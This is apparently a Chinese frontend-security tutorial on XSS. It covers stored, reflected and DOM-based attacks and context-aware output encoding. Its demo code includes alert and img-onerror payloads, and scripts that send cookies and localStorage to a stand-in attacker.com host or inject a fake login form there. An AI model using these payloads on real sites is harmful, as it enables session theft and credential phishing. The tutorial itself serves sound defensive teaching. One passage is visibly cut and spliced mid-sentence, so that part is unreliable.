XSS 攻击与防护

中等 🟡前端安全
12 个标签
预计阅读时间:89 分钟
前端安全XSS跨站脚本攻击防护策略DOMPurifyCSP输出编码Trusted TypesmXSS上下文编码source-sinkpostMessage

XSS 攻击与防护

XSS(Cross-Site Scripting,跨站脚本攻击)是最古老也最顽固的前端安全漏洞之一。它的本质是:网站把"数据"当成了"代码"来执行。攻击者把一段恶意脚本"伪装"成普通内容(比如一条评论、一个昵称、一个搜索词)提交给网站,网站又不加处理地把它渲染进页面,浏览器分不清这是数据还是代码,就把恶意脚本当成网站自己的脚本执行了。

打个比方:这就像餐厅把顾客写的留言直接当成后厨的操作指令去执行。顾客本该只是"留言",结果他写的"把保险柜打开"被厨师当成命令照做了。XSS 防护的核心,就是让浏览器始终清楚地知道"哪些是数据、哪些是代码",绝不把用户数据当代码跑。

XSS 长期位居 OWASP Top 10。它之所以危险,是因为脚本运行在受害者浏览器里,拥有和网站本身完全相同的权限:能读 Cookie、能发请求、能改页面、能冒充用户做任何事。

🛡️ XSS 攻击类型

存储型 XSS(Stored / Persistent):

恶意脚本被持久保存在服务器数据库中
任何访问该内容的用户都会中招,无需点击特殊链接
常见于评论区、论坛、用户资料、私信
危害最大,可形成"XSS 蠕虫"自我传播

反射型 XSS(Reflected):

恶意脚本通过 URL 参数传入,被服务器"反射"回页面
常见于搜索结果页、错误提示页
需诱导用户点击带有恶意参数的链接
一次性,不落库

DOM 型 XSS(DOM-based):

漏洞完全发生在客户端 JavaScript 里,不经过服务器
由不安全的 DOM 操作引起(如 innerHTML、document.write)
数据从 URL、localStorage 等"源"流向危险的"汇"
服务器端过滤对它无效,必须在前端防

为什么 XSS 危险

一段成功执行的 XSS 脚本,等于攻击者在受害者浏览器里"化身"成了受害者本人。它可以:窃取会话 Cookie 实现盗号;伪造登录框钓鱼;篡改页面内容进行诈骗;以受害者身份发帖、转账、改资料。因为脚本与网站同源,几乎所有前端能做的事它都能做。存储型 XSS 更能让一个受害者的浏览器去感染下一个访问者,滚雪球式扩散。

💻 代码示例:XSS 攻击演示

javascriptCode
// 存储型 XSS
// 恶意评论
const maliciousComment = '<script>alert("XSS")</script>';
// 存储到数据库
saveComment(maliciousComment);

// 其他用户访问时
function displayComments() {
  comments.forEach(comment => {
    // 不安全的渲染:把数据当 HTML 解析
    document.getElementById('comments').innerHTML = comment;
  });
}

// 反射型 XSS
// 恶意 URL
const maliciousURL = 'https://example.com/search?q=<script>alert("XSS")</script>';
// 服务器反射
function search(q) {
  return `Search results for: ${q}`;
}

// DOM 型 XSS
// 不安全的 DOM 操作
function updateContent() {
  const userInput = getUserInput();
  document.getElementById('content').innerHTML = userInput;
}

// 恶意输入:利用 img 的 onerror 绕过 script 标签过滤
const maliciousInput = '<img src=x onerror="alert(\'XSS\')">';
updateContent(maliciousInput);

XSS 攻击危害

数据窃取: 窃取 Cookie、会话令牌、localStorage 中的敏感信息,实施钓鱼。

会话劫持: 冒充用户身份,执行未授权操作,修改账户数据。

网站破坏: 篡改页面、恶意重定向、植入广告,损害声誉。

拒绝服务: 死循环耗尽资源、使页面崩溃,影响体验。

代码示例

数据窃取示例

javascriptCode
// 窃取 Cookie
const maliciousScript = `
  <script>
    // 窃取所有 cookie
    const cookies = document.cookie;

    // 发送到攻击者服务器
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: JSON.stringify({ cookies }),
      headers: { 'Content-Type': 'application/json' }
    });
  </script>
`;

// 窃取本地存储
const stealLocalStorage = `
  <script>
    const localStorageData = {};
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      localStorageData[key] = localStorage.getItem(key);
    }

    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: JSON.stringify({ localStorageData }),
      headers: { 'Content-Type': 'application/json' }
    });
  </script>
`;

// 钓鱼攻击
const phishingScript = `
  <script>
    // 创建虚假登录表单
    const fakeForm = document.createElement('form');
    fakeForm.method = 'POST';
    fakeForm.action = 'https://attacker.com/steal-credentials';

    const usernameInput = document.createElement('input');
    usernameInput.name = 'username';
    usernameInput.placeholder = 'Username';

    const passwordInput = document.createElement('input');
    passwordInput.name = 'password';
    passwordInput.type = 'password';
    passwordInput.placeholder = 'Password';

    const submitButton = document.createElement('button');
    submitButton.type = 'submit';
    submitButton.textContent = 'Login';

    fakeForm.appendChild(usernameInput);
    fakeForm.appendChild(passwordInput);
    fakeForm.appendChild(submitButton);

    document.body.appendChild(fakeForm);
  </script>
`;

XSS 常见攻击向量(防御前先认识它)

攻击者远不止用 `` 提前闭合标签)。

javascriptCode
// JS 字符串上下文编码:非字母数字转 \uHHHH,并特别处理 </ 与行分隔符
function encodeForJS(str) {
  return String(str).replace(/[^a-zA-Z0-9]/g, function (c) {
    const code = c.charCodeAt(0);
    // 特殊:U+2028/U+2029 会被 JS 当作换行导致语法错误/注入
    return '\\u' + ('0000' + code.toString(16)).slice(-4);
  });
}

// 在页面注水(hydration)数据时,绝不要直接字符串拼接:
// 危险:<script>var data = "USERDATA"</script>
//   USERDATA = '";alert(1);//' 即可逃逸

// 正确:用 JSON.stringify 并转义 HTML 敏感字符,防止 </script> 与 U+2028
function safeJsonForScript(obj) {
  return JSON.stringify(obj)
    .replace(/</g, '\\u003C')
    .replace(/>/g, '\\u003E')
    .replace(/&/g, '\\u0026')
    .replace(/\u2028/g, '\\u2028')
    .replace(/\u2029/g, '\\u2029');
}
// 用法:<script>window.__DATA__ = ${safeJsonForScript(data)}</script>

JS 数值上下文:只允许数字,直接 `Number()` 强转或正则校验 `/^-?\d+(\.\d+)?$/`,非数字一律拒绝,别做转义。

上下文五:CSS 上下文

数据插入到 `